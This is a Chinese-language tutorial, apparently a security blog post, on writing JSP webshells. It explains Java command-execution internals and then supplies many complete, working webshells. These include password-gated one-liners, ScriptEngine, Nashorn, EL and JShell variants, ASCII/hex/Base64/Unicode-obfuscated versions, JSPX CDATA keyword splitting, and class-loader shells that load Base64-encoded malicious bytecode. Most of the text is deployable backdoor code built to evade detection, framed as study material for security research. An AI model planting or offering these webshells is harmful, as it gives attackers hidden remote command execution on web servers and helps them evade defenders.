• Javaweb安全——JSP Webshell


    Jsp Webshell

    e7d78587b988b4015e41abeb236857b1.png

    命令执行

    Runtime 和 ProcessBuilder

    Java一般用的命令执行语句有两个:

    Runtime.getRuntime().exec("cmd");
    java.lang.ProcessBuilder(new String[]{"cmd"}).start();
    
    • 1
    • 2

    image-20220818180613718

    Runtime实际上是调用了java.lang.ProcessBuilder#start

    image-20220818180802881

    而ProcessBuilder又是调用了java.lang.ProcessImpl#start

    image-20220818180947775

    最后是调用了ProcessImpl的私有构造方法

    image-20220818181251554

    image-20220818181345826

    ProcessImpl

    虽然无法直接实例化该类调用,但可以通过反射调用其start方法:

    String [] cmd={"cmd","/c","whoami"};
    Class processimpl=Class.forName("java.lang.ProcessImpl");
    Method m1=processimpl.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);
    m1.setAccessible(true);
    Process p=(Process) m1.invoke(processimpl,cmd,null,null,null,false);
    
    • 1
    • 2
    • 3
    • 4
    • 5

    image-20220818183603574

    一句话木马其实就是调用上面的命令执行方法,然后输出结果。这里以Runtime为例,其余的只要换一下命令执行函数就行。

    <% 
    if("023".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
        int a = -1; byte[] b = new byte[2048]; out.print("
    ");
        while((a=in.read(b))!=-1){
            out.println(new String(b,0,a));
        }
        out.print("
    "); } %>
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10

    Method.invoke的代替

    • 用MethodUtil替换method.invoke
    MethodUtil.invoke(m1,processimpl,new Object[]{"calc".split(" "), null, null, null, false});
    
    • 1
    • 直接调用底层的MethodAccessor
    ReflectionFactory reflectionFactory = AccessController.doPrivileged(new sun.reflect.ReflectionFactory.GetReflectionFactoryAction());
    MethodAccessor methodAccessor = reflectionFactory.newMethodAccessor(method);
    methodAccessor.invoke(clz,new Object[]{"calc".split(" "), null, null, null, false});
    
    • 1
    • 2
    • 3

    表达式类调用

    ScriptEngineManager

    还可以通过JS引擎调用Java对象

    ScriptEngineManager manager = new ScriptEngineManager(null);
    ScriptEngine engine = manager.getEngineByName("js");
    String script="java.lang.Runtime.getRuntime().exec(\"calc\")";
    engine.eval(script);
    
    • 1
    • 2
    • 3
    • 4

    ScriptEngine代码执行的小马:

    <%
        javax.script.ScriptEngine engine = new javax.script.ScriptEngineManager().getEngineByName("js");
        engine.put("request", request);
        engine.put("response", response);
        engine.eval(request.getParameter("mr6"));
    %>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    换个Nashorn引擎,加上回显

    <%
        ScriptEngineManager manager = new ScriptEngineManager(null);
        ScriptEngine engine = manager.getEngineByName("nashorn");
        String payload=request.getParameter("cmd");
        Compilable compEngine=(Compilable)engine;
        CompiledScript script=compEngine.compile(payload);
        BufferedReader object=(BufferedReader)script.eval();
        String line="";
        String result="";
        while((line=object.readLine())!=null){
            result=result+line;
        }
        out.println(result);
    %>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14

    ?cmd=new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("whoami").getInputStream()));

    image-20220818211449064

    再把这个语句编码后写进入

    <%@ page import="javax.script.ScriptEngineManager" %>
    <%@ page import="java.util.Base64" %>
    <%@ page import="java.io.InputStream" %>
    <%@ page import="java.io.BufferedReader" %>
    <%@ page import="java.io.InputStreamReader" %>
    <%
        //linux
        //String s1 = "s=[3];s[0]='/bin/bash';s[1]='-c';s[2]='";
        //win
        String s1 = "s=[3];s[0]='cmd';s[1]='/c';s[2]='";
        String s2 = request.getParameter("cmd");
        String s3 = new String(Base64.getDecoder().decode("JztqYXZhLmxhbmcuUnVudGltZS5nZXRSdW50aW1lKCkuZXhlYyhzKTs="));
        Process process = (Process) new ScriptEngineManager().getEngineByName("nashorn").eval(s1 + s2 + s3);
        InputStream inputStream = process.getInputStream();
        StringBuilder stringBuilder = new StringBuilder();
        BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));
        String line;
        while((line = bufferedReader.readLine()) != null) {
            stringBuilder.append(line).append("\n");
        }
        if (stringBuilder.length() > 0) {
            response.getOutputStream().write(stringBuilder.toString().getBytes());
        }
    %>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24

    Tomcat EL表达式

    ELProcessor

    <%@ page import="javax.el.ELProcessor" %>
    <%@ page import="java.io.InputStream" %>
    <%@ page import="java.io.BufferedReader" %>
    <%@ page import="java.io.InputStreamReader" %>
    <%
        StringBuilder stringBuilder = new StringBuilder();
        String cmd = request.getParameter("cmd");
        for (String tmp:cmd.split(" ")) {
            stringBuilder.append("'").append(tmp).append("'").append(",");
        }
        String f = stringBuilder.substring(0, stringBuilder.length() - 1);
        ELProcessor processor = new ELProcessor();
        Process process = (Process) processor.eval("\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](["+ f +"]).start()\")");
        InputStream inputStream = process.getInputStream();
        StringBuilder stringBuilder2 = new StringBuilder();
        BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));
        String line;
        while((line = bufferedReader.readLine()) != null) {
            stringBuilder2.append(line).append("\n");
        }
        if (stringBuilder2.length() > 0) {
            response.getOutputStream().write(stringBuilder2.toString().getBytes());
        }
    %>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24

    ELManager

    或者像在servlet写el表达式解析语句一样调用

    image-20220819012257470

    其实也是ELProcessor#eval的具体实现类

    private final ExpressionFactory factory;
    
    public ELProcessor() {
        this.context = this.manager.getELContext();
        this.factory = ELManager.getExpressionFactory();
    }
    public Object getValue(String expression, Class<?> expectedType) {
    	ValueExpression ve = this.factory.createValueExpression(this.context, bracket(expression), expectedType);
    	return ve.getValue(this.context);
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10

    webshell

    <%@ page import="java.io.InputStream" %>
    <%@ page import="javax.el.ELContext" %>
    <%@ page import="javax.el.ELManager" %>
    <%@ page import="javax.el.ExpressionFactory" %>
    <%@ page import="javax.el.ValueExpression" %>
    <%@ page import="sun.misc.IOUtils" %>
    <%
        String cmd = request.getParameter("cmd");
        StringBuilder stringBuilder = new StringBuilder();
        for (String tmp:cmd.split(" ")) {
            stringBuilder.append("'").append(tmp).append("'").append(",");
        }
        String f = stringBuilder.substring(0, stringBuilder.length() - 1);
        String expression = "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](["+ f +"]).start()\")";
        ELManager manager = new ELManager();
        ELContext context = manager.getELContext();
        ExpressionFactory factory = ELManager.getExpressionFactory();
        ValueExpression ve = factory.createValueExpression(context, "${" + expression + "}", Object.class);
        InputStream inputStream = ((Process)ve.getValue(context)).getInputStream();
        response.getOutputStream().write(IOUtils.readFully(inputStream, -1, false));
    %>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21

    JShell (JDK>=9)

    <%=jdk.jshell.JShell.builder().build().eval(request.getParameter("cmd"))%>
    
    • 1

    常规变形混淆

    类反射+字符串编码

    ASCII

    <%@ page contentType="text/html;charset=UTF-8"  language="java" %>
    <%
        if(request.getParameter("cmd")!=null){
            Class rt = Class.forName(new String(new byte[] { 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101 }));
            Process e = (Process) rt.getMethod(new String(new byte[] { 101, 120, 101, 99 }), String.class).invoke(rt.getMethod(new String(new byte[] { 103, 101, 116, 82, 117, 110, 116, 105, 109, 101 })).invoke(null), request.getParameter("cmd") );
            java.io.InputStream in = e.getInputStream();
            int a = -1;byte[] b = new byte[2048];out.print("
    ");
            while((a=in.read(b))!=-1){ out.println(new String(b)); }out.print("
    "); } %>
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10

    HEX

    <%@ page contentType="text/html;charset=UTF-8" import="javax.xml.bind.DatatypeConverter" language="java" %>
    <%
        if(request.getParameter("cmd")!=null){
            Class rt = Class.forName(new String(DatatypeConverter.parseHexBinary("6a6176612e6c616e672e52756e74696d65")));
            Process e = (Process) rt.getMethod(new String(DatatypeConverter.parseHexBinary("65786563")), String.class).invoke(rt.getMethod(new String(DatatypeConverter.parseHexBinary("67657452756e74696d65"))).invoke(null), request.getParameter("cmd") );
            java.io.InputStream in = e.getInputStream();
            int a = -1;byte[] b = new byte[2048];out.print("
    ");
            while((a=in.read(b))!=-1){ out.println(new String(b)); }out.print("
    "); } %>
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10

    BASE64

        <%@ page contentType="text/html;charset=UTF-8" language="java" %>
        <%@ page import="sun.misc.BASE64Decoder" %>
        <%
            if(request.getParameter("cmd")!=null){
                BASE64Decoder decoder = new BASE64Decoder();
                Class rt = Class.forName(new String(decoder.decodeBuffer("amF2YS5sYW5nLlJ1bnRpbWU=")));
                Process e = (Process)
                        rt.getMethod(new String(decoder.decodeBuffer("ZXhlYw==")), String.class).invoke(rt.getMethod(new
                                String(decoder.decodeBuffer("Z2V0UnVudGltZQ=="))).invoke(null, new
                                Object[]{}), request.getParameter("cmd") );
                java.io.InputStream in = e.getInputStream();
                int a = -1;
                byte[] b = new byte[2048];
                out.print("
    ");
                while((a=in.read(b))!=-1){
                    out.println(new String(b));
                }
                out.print("
    "
    ); } %>
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20

    Unicode编码

    <% \u0069\u0066\u0028\u0022\u0030\u0032\u0033\u0022\u002e\u0065\u0071\u0075\u0061\u006c\u0073\u0028\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002e\u0067\u0065\u0074\u0050\u0061\u0072\u0061\u006d\u0065\u0074\u0065\u0072\u0028\u0022\u0070\u0077\u0064\u0022\u0029\u0029\u0029\u007b\u000a\u0020\u0020\u0020\u0020\u006a\u0061\u0076\u0061\u002e\u0069\u006f\u002e\u0049\u006e\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0020\u0069\u006e\u0020\u003d\u0020\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u002e\u0067\u0065\u0074\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u0028\u0029\u002e\u0065\u0078\u0065\u0063\u0028\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002e\u0067\u0065\u0074\u0050\u0061\u0072\u0061\u006d\u0065\u0074\u0065\u0072\u0028\u0022\u0069\u0022\u0029\u0029\u002e\u0067\u0065\u0074\u0049\u006e\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0028\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u0069\u006e\u0074\u0020\u0061\u0020\u003d\u0020\u002d\u0031\u003b\u0020\u0062\u0079\u0074\u0065\u005b\u005d\u0020\u0062\u0020\u003d\u0020\u006e\u0065\u0077\u0020\u0062\u0079\u0074\u0065\u005b\u0032\u0030\u0034\u0038\u005d\u003b\u0020\u006f\u0075\u0074\u002e\u0070\u0072\u0069\u006e\u0074\u0028\u0022\u003c\u0070\u0072\u0065\u003e\u0022\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u0077\u0068\u0069\u006c\u0065\u0028\u0028\u0061\u003d\u0069\u006e\u002e\u0072\u0065\u0061\u0064\u0028\u0062\u0029\u0029\u0021\u003d\u002d\u0031\u0029\u007b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u006f\u0075\u0074\u002e\u0070\u0072\u0069\u006e\u0074\u006c\u006e\u0028\u006e\u0065\u0077\u0020\u0053\u0074\u0072\u0069\u006e\u0067\u0028\u0062\u002c\u0030\u002c\u0061\u0029\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u007d\u000a\u0020\u0020\u0020\u0020\u006f\u0075\u0074\u002e\u0070\u0072\u0069\u006e\u0074\u0028\u0022\u003c\u002f\u0070\u0072\u0065\u003e\u0022\u0029\u003b\u000a\u007d
    %>
    
    • 1
    • 2

    内部类

    https://xz.aliyun.com/t/7798#toc-6

    class A {
    
                B b;
    
                final class B {
    
                    private Method o;
                    private Object oo;
                    private Object[] ooo;
    
                    public B() throws ClassNotFoundException, NoSuchMethodException {
                        Class clz = Class.forName("java.lang.ProcessImpl");
                        Method method = clz
                                .getDeclaredMethod("start", String[].class, Map.class, String.class,
                                        ProcessBuilder.Redirect[].class, boolean.class);
                        method.setAccessible(true);
                        o = method;
                        oo = clz;
                        ooo = new Object[]{s.split(" "), null, null, null, false};
                    }
                }
    
                public A() throws ClassNotFoundException, NoSuchMethodException {
                    b = new B();
                }
    
                public Object invokex()
                        throws InvocationTargetException, IllegalAccessException {
                    return MethodUtil.invoke(b.o, b.oo, b.ooo);
                }
            }
    
            Process process = (Process) new A().invokex();
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33

    Jspx

    HTML实体编码

    
        
            if("023".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
        int a = -1; byte[] b = new byte[2048]; out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.println(new String(b,0,a));
        }
        out.print("</pre>");
    }
        
    
    
    • 1
    • 2
    • 3
    • 4
    • 5

    image-20220819020132535

    命名空间绕过

    标签默认命名空间为jsp实际可以换成

    任意名字都行。

    表达式调用

    去调用表达式相当于<%=..%>

    
        
            new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream())).readLine()
        
    
    
    • 1
    • 2
    • 3
    • 4
    • 5

    回显只有一行 ipconfig这种就不行了

    image-20220819021904503

    CDATA拆分关键字

    同样是利用xml的特性,CDATA 部分中的所有内容都会被解析器忽略,相当于注释符,就和xxe绕过关键词一样。

    CDATA 部分由 开始,由 ]]> 结束。

    
        
        
            BufferedReader object=new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.RunRune().exst.getParameter("cmd")).getInputStream()));
            String line="";
            String result="";
            while((line=object.readLine())!=null){
            result=result+line;
            }
            out.println(result);
        
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12

    image-20220819023733553

    类加载绕过

    调用defineClass

    反射调用

    import java.lang.reflect.Method;
    import java.util.Base64;
    public class TestDefineClass {
        public static void main(String[] args) throws Exception {
            Method defineClass =  ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
            defineClass.setAccessible(true);
            byte[] code = Base64.getDecoder().decode("yv66vgAAADQAJgoACAAXCgAYABkIABoKABgAGwcAHAoABQAdBwAeBwAfAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAtMZXZsaUNsYXNzOwEACDxjbGluaXQ+AQABZQEAFUxqYXZhL2xhbmcvRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUHABwBAApTb3VyY2VGaWxlAQAOZXZsaUNsYXNzLmphdmEMAAkACgcAIAwAIQAiAQAEY2FsYwwAIwAkAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwAJQAKAQAJZXZsaUNsYXNzAQAQamF2YS9sYW5nL09iamVjdAEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA9wcmludFN0YWNrVHJhY2UAIQAHAAgAAAAAAAIAAQAJAAoAAQALAAAALwABAAEAAAAFKrcAAbEAAAACAAwAAAAGAAEAAAABAA0AAAAMAAEAAAAFAA4ADwAAAAgAEAAKAAEACwAAAGEAAgABAAAAErgAAhIDtgAEV6cACEsqtgAGsQABAAAACQAMAAUAAwAMAAAAFgAFAAAABAAJAAcADAAFAA0ABgARAAgADQAAAAwAAQANAAQAEQASAAAAEwAAAAcAAkwHABQEAAEAFQAAAAIAFg==");
            Class evli = (Class)defineClass.invoke(ClassLoader.getSystemClassLoader(), "evliClass", code, 0, code.length);
            evli.newInstance();
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11

    类继承Classloader

    自定义类
    public static class x extends ClassLoader //继承ClassLoader
        {   
            public  Class get(byte[] b)
            {
                return super.defineClass(b, 0, b.length);
            }       
        }
    public static void main(String[] args) throws Exception {
            String classStr="evilClassByte"; #恶意类字节码
            BASE64Decoder code=new sun.misc.BASE64Decoder();
            Class result=new x().get(code.decodeBuffer(classStr));//将base64解码成byte数组,并传入自定义类的get函数
            System.out.println(result.newInstance());
        }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    JDK原生类

    com.sun.jmx.remote.util.OrderClassLoaders

    image-20220820004844352

    public class ClassLoaderTest2{
    
        public static void main(String[] args) throws Exception {
            byte[] mes = java.util.Base64.getDecoder().decode("evilClassByte");
    
            Class OC=Class.forName("com.sun.jmx.remote.util.OrderClassLoaders");
            java.lang.reflect.Method m = OC.getSuperclass().getDeclaredMethod("defineClass",new Class[]{byte[].class,int.class,int.class});
            m.setAccessible(true);
            java.lang.reflect.Constructor  c=OC.getDeclaredConstructor(new Class[]{ClassLoader.class,ClassLoader.class});
            c.setAccessible(true);
            Object cl=Thread.currentThread().getContextClassLoader();
            Object  d=c.newInstance(new Object[]{cl,cl});
            Object evil =((Class) m.invoke(d, new Object[]{mes, 0, mes.length})).newInstance();
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15

    具体使用可以看https://xz.aliyun.com/t/11368

    javax.management.loading.MLet`

    这个类是继承的URLClassLoader

    image-20220820005255873

    image-20220820005216824

    import java.net.URL;
    
    public class ClassLoaderTest1 extends java.net.URLClassLoader{
        public ClassLoaderTest1(URL[] urls, ClassLoader parent) {
            super(urls, parent);
        }
    
        public static void main(String[] args) throws Exception {
            byte[] mes = java.util.Base64.getDecoder().decode("evilClassByte");
    		java.lang.reflect.Method m = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
            m.setAccessible(true);
    
            Class clazz = Class.forName("javax.management.loading.MLet");
            Object Mlet = clazz.getDeclaredConstructor(URL[].class, ClassLoader.class).newInstance(new URL[0], this.getClass().getClassLoader());
            Object evil = ((Class)m.invoke(Mlet, mes, 0, mes.length)).newInstance();
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17

    下面这几个获取类加载器的方法,我在本地环境的jsp上测试都是可以的

    • this.getClass().getClassLoader()
    • new ClassLoader(){}
    • ClassLoader.getSystemClassLoader()
    • Thread.currentThread().getContextClassLoader()

    jdk.nashorn.internal.runtime.ScriptLoader

    Nashorn是于Java 8中用于取代Rhino(Java 6,Java 7)的JavaScript引擎

    可以看到这个类最后还是继承自ClassLoader,他的loadClass方法就是调用自ClassLoader

    image-20220821232649659

    public class ScriptLoadTest {
        public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException {
            // 获取ScriptLoader对象
            Class cls=Class.forName("jdk.nashorn.internal.runtime.ScriptLoader");
            Constructor constructor=cls.getDeclaredConstructor(Context.class);
            constructor.setAccessible(true);
            Object o=constructor.newInstance(new jdk.nashorn.internal.runtime.Context(new Options(""),null,null));
            // 执行installClass方法
            Method m1=cls.getDeclaredMethod("installClass", String.class, byte[].class, CodeSource.class);
            m1.setAccessible(true);
            BASE64Decoder decoder=new sun.misc.BASE64Decoder();
            Class E=(Class)m1.invoke(o,"Evil",decoder.decodeBuffer("evilClassByte"),new CodeSource(null,(Certificate[]) null));
            E.newInstance();
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15

    Proxy动态代理

    动态代理则直接得到代理类的Class对象,然后通过反射创造实例,当中就有defineClass的操作。

    image-20220822014530101

    image-20220822014541697

    public class ProxyDefineTest {
        public static void main(String[] args) throws NoSuchMethodException, IOException, InvocationTargetException, IllegalAccessException, InstantiationException {
            ClassLoader classLoader=ClassLoader.getSystemClassLoader();
            Method m1= Proxy.class.getDeclaredMethod("defineClass0", ClassLoader.class, String.class, byte[].class, int.class, int.class);
            m1.setAccessible(true);
            BASE64Decoder decoder=new sun.misc.BASE64Decoder();
            byte[] classBytes=decoder.decodeBuffer("evilClassByte");
            String className="Evil";
            Class E=(Class) m1.invoke(null,classLoader,className,classBytes,0,classBytes.length);
            E.newInstance();
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12

    下面几种加载方式的jsp马,搬运自threedr3am 师傅的文章都0202年了老嗨还在用的 - 各种姿势jsp webshell各种姿势jsp webshell

    TemplatesImpl 加载

    <%@ page import="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" %>
    <%@ page import="com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl" %>
    <%@ page import="java.io.File" %>
    <%@ page import="java.io.FileInputStream" %>
    <%@ page import="java.lang.reflect.Field" %>
    <%@ page import="java.nio.file.Files" %>
    <%@ page import="java.nio.file.Paths" %>
    <%@ page import="java.util.Base64" %>
    <%@ page import="java.util.HashMap" %>
    <%@ page import="sun.misc.IOUtils" %>
    <%@ page import="sun.reflect.misc.FieldUtil" %>
    
    
    

    利用TemplatesImpl触发的JSP Webshell

    <% String tmp = System.getProperty("java.io.tmpdir"); String inputFile = tmp + File.separator + "jabdhjabdjkandaldlanaklndkand.txt"; String outputFile = tmp + File.separator + "jfkdjkadnkladmknjknfkjnadkad.txt"; String s = request.getParameter("threedr3am"); if (Files.exists(Paths.get(inputFile))) Files.delete(Paths.get(inputFile)); Files.write(Paths.get(inputFile), s.getBytes()); TemplatesImpl t = new TemplatesImpl(); Field field = FieldUtil.getDeclaredFields(t.getClass())[4]; byte[][] bytes = new byte[1][]; bytes[0] = Base64.getDecoder().decode("yv66vgAAADQAjwoAJgA5CAA6CgA7ADwHAD0KAAQAOQoABAA+CQA/AEAIAEEKAAQAQggAQwoARABFBwBGCgBHAEgKAEkASgoADABLCABMCABNCgAMAE4IAE8KAAwAUAoARABRCgBSAFMHAFQHAFUKABgAVgoAFwBXCgAXAFgIAFkHAFoKAEkAWwoASQBcCgAMAF0HAF4KAEkAXwcAYAoAIwBhBwBiBwBjAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEADVN0YWNrTWFwVGFibGUHAGIHAEYHAGQHAD0HAFQHAGABAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAApFeGNlcHRpb25zBwBlAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAClNvdXJjZUZpbGUBABJUaHJlZWRyM2FtXzExLmphdmEMACcAKAEADmphdmEuaW8udG1wZGlyBwBmDABnAGgBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgwAaQBqBwBrDABsAG0BAANjbWQMAG4AbwEABnJlc3VsdAcAcAwAcQByAQAQamF2YS9sYW5nL1N0cmluZwcAcwwAdAB1BwB2DAB3AHgMACcAeQEAASUBAAAMAHoAewEAASAMAHwAfQwAfgB/BwCADACBAIIBABZqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyAQAZamF2YS9pby9JbnB1dFN0cmVhbVJlYWRlcgwAJwCDDAAnAIQMAIUAbwEAAQoBABhqYXZhL25pby9maWxlL0xpbmtPcHRpb24MAIYAhwwAiACJDACKAIsBABhqYXZhL25pby9maWxlL09wZW5PcHRpb24MAIwAjQEAE2phdmEvbGFuZy9UaHJvd2FibGUMAI4AKAEADVRocmVlZHIzYW1fMTEBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JbnB1dFN0cmVhbQEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEGphdmEvbGFuZy9TeXN0ZW0BAAtnZXRQcm9wZXJ0eQEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAMamF2YS9pby9GaWxlAQAJc2VwYXJhdG9yAQASTGphdmEvbGFuZy9TdHJpbmc7AQAIdG9TdHJpbmcBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEAE2phdmEvbmlvL2ZpbGUvUGF0aHMBAANnZXQBADsoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9uaW8vZmlsZS9QYXRoOwEAE2phdmEvbmlvL2ZpbGUvRmlsZXMBAAxyZWFkQWxsQnl0ZXMBABgoTGphdmEvbmlvL2ZpbGUvUGF0aDspW0IBAAUoW0IpVgEAB3JlcGxhY2UBAEQoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7TGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KUxqYXZhL2xhbmcvU3RyaW5nOwEABXNwbGl0AQAnKExqYXZhL2xhbmcvU3RyaW5nOylbTGphdmEvbGFuZy9TdHJpbmc7AQAEZXhlYwEAKChbTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBABMoTGphdmEvaW8vUmVhZGVyOylWAQAIcmVhZExpbmUBAAZleGlzdHMBADIoTGphdmEvbmlvL2ZpbGUvUGF0aDtbTGphdmEvbmlvL2ZpbGUvTGlua09wdGlvbjspWgEABmRlbGV0ZQEAFyhMamF2YS9uaW8vZmlsZS9QYXRoOylWAQAIZ2V0Qnl0ZXMBAAQoKVtCAQAFd3JpdGUBAEcoTGphdmEvbmlvL2ZpbGUvUGF0aDtbQltMamF2YS9uaW8vZmlsZS9PcGVuT3B0aW9uOylMamF2YS9uaW8vZmlsZS9QYXRoOwEAD3ByaW50U3RhY2tUcmFjZQAhACUAJgAAAAAAAwABACcAKAABACkAAAFwAAUACAAAANsqtwABEgK4AANMuwAEWbcABSu2AAayAAe2AAYSCLYABrYACU27AARZtwAFK7YABrIAB7YABhIKtgAGtgAJTrgAC7sADFksA70ADLgADbgADrcADxIQEhG2ABISE7YAFLYAFbYAFjoEuwAEWbcABToFuwAXWbsAGFkZBLcAGbcAGjoGGQa2ABtZOgfGABMZBRkHtgAGEhy2AAZXp//oLQO9AAy4AA0DvQAduAAemQAOLQO9AAy4AA24AB8tA70ADLgADRkFtgAJtgAgA70AIbgAIlenAAhMK7YAJLEAAQAEANIA1QAjAAIAKgAAAEIAEAAAABIABAAUAAoAFQAkABYAPgAYAGcAGQBwABoAggAcAI0AHQCdAB8ArwAgALoAIQDSACQA1QAiANYAIwDaACUAKwAAADMABf8AggAHBwAsBwAtBwAtBwAtBwAuBwAvBwAwAAD8ABoHAC0c/wAaAAEHACwAAQcAMQQAAQAyADMAAgApAAAAGQAAAAMAAAABsQAAAAEAKgAAAAYAAQAAACoANAAAAAQAAQA1AAEAMgA2AAIAKQAA